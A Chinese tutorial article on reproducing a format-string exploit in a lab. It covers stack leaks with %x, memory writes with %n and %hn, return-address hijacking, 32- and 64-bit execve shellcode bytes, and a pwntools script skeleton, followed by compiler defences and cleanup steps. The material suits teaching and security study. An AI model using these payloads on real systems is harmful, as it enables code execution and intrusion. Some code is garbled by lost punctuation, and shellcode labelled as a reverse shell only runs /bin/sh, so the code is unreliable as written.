从printf到getshell:一次完整的格式化字符串漏洞实战复现(含32/64位靶场环境搭建)

张开发
2026/4/10 10:05:37 15 分钟阅读

分享文章

从printf到getshell:一次完整的格式化字符串漏洞实战复现(含32/64位靶场环境搭建)
从printf到getshell格式化字符串漏洞实战全解析漏洞原理与实验环境搭建格式化字符串漏洞是C语言程序中一类经典的安全问题它源于程序员对用户输入数据的不当处理。当程序允许用户控制printf等函数的格式字符串参数时攻击者可以通过精心构造的输入实现内存读取、数据篡改甚至代码执行。实验环境准备需要以下关键组件禁用地址随机化ASLR的Linux系统sudo sysctl -w kernel.randomize_va_space0漏洞程序format.c的编译选项CFLAGS -z execstack -fno-stack-protector -no-pie32位与64位双环境配置# 32位编译 gcc -m32 -static format.c -o format32 # 64位编译 gcc format.c -o format64注意实际测试环境建议使用Docker容器隔离避免影响主机系统安全。实验完成后务必重新启用ASLR。漏洞利用基础内存读取与篡改栈数据泄露技术格式化字符串中的%x、%p等说明符会从栈上读取数据并输出。通过精确控制格式字符串中占位符的数量可以定位到特定内存位置payload bAAAA b%x.*63 # 定位到输入缓冲区起始位置关键技巧使用唯一标记如AAAA确定偏移量%.8x控制输出宽度便于观察逐步增加占位符数量直到看到标记值内存写操作实战%n格式说明符可将已输出的字符数写入指定地址这是实现内存篡改的核心target_addr 0x080e5068 # 目标变量地址 payload p32(target_addr) b%20480x%n # 将0x5000写入目标地址进阶技巧%hn写入2字节解决大数值写入耗时问题%hhn写入1字节精确控制单字节修改分阶段写入处理32位大数值完整攻击链构建shellcode设计与放置典型的反向shell shellcode结构如下shellcode_32 ( b\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e b\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 )放置策略通过格式字符串泄露栈地址计算shellcode在输入缓冲区中的绝对地址确保shellcode所在内存区域具有可执行权限返回地址劫持技术修改函数返回地址使其指向shellcode的关键步骤ret_addr 0xffffd26c # myprintf()的返回地址位置 shellcode_addr 0xffffd894 # shellcode起始地址 # 分两次写入先低2字节再高2字节 payload p32(ret_addr) p32(ret_addr2) payload b%{}x%hn.format(0xd894 - 8).encode() payload b%{}x%hn.format(0xffff - 0xd894).encode()64位环境特殊挑战与解决方案地址零字节问题处理64位地址中高位为零会导致printf提前终止解决方案将地址放置在格式字符串末尾使用%N$hn直接定位到特定参数位置payload b%{}x%{}$hn.format(value, pos).encode() payload payload.ljust(16, bA) p64(target_addr)64位shellcode适配64位shellcode需要使用相应寄存器约定shellcode_64 ( b\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68 b\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6 b\xb0\x3b\x0f\x05 )防御措施与漏洞修复编译器防护机制现代编译器提供的安全选项gcc -Wformat-security -D_FORTIFY_SOURCE2 -O2代码修复方案正确使用格式化函数// 危险用法 printf(user_input); // 安全用法 printf(%s, user_input);加固措施静态分析工具检查格式字符串漏洞启用所有编译器安全警告最小化用户输入对格式字符串的影响自动化攻击脚本开发Python exploit框架from pwn import * context.update(archi386, oslinux) def create_payload(): # 动态计算偏移量 # 构建多阶段payload # 处理网络通信 pass if __name__ __main__: if args.REMOTE: p remote(10.9.0.5, 9090) else: p process(./format32) payload create_payload() p.sendline(payload) p.interactive()功能增强自动偏移量计算多架构支持交互式shell维持错误处理与重试机制现实世界中的变体与演化现代环境下的挑战全保护机制开启的情况NX/DEPASLRStack CanariesRELRO非传统攻击面日志系统中的格式字符串嵌入式设备诊断接口自定义实现的格式化函数高级利用技术信息泄露绕过ASLR多阶段内存写操作结合其他漏洞形成组合攻击针对特定libc版本的利用技术实验环境恢复与清理完成实验后必须执行的安全措施# 重新启用ASLR sudo sysctl -w kernel.randomize_va_space2 # 清理实验容器 docker-compose down docker system prune -f # 检查系统安全状态 grep -i randomize /proc/sys/kernel/randomize_va_space

更多文章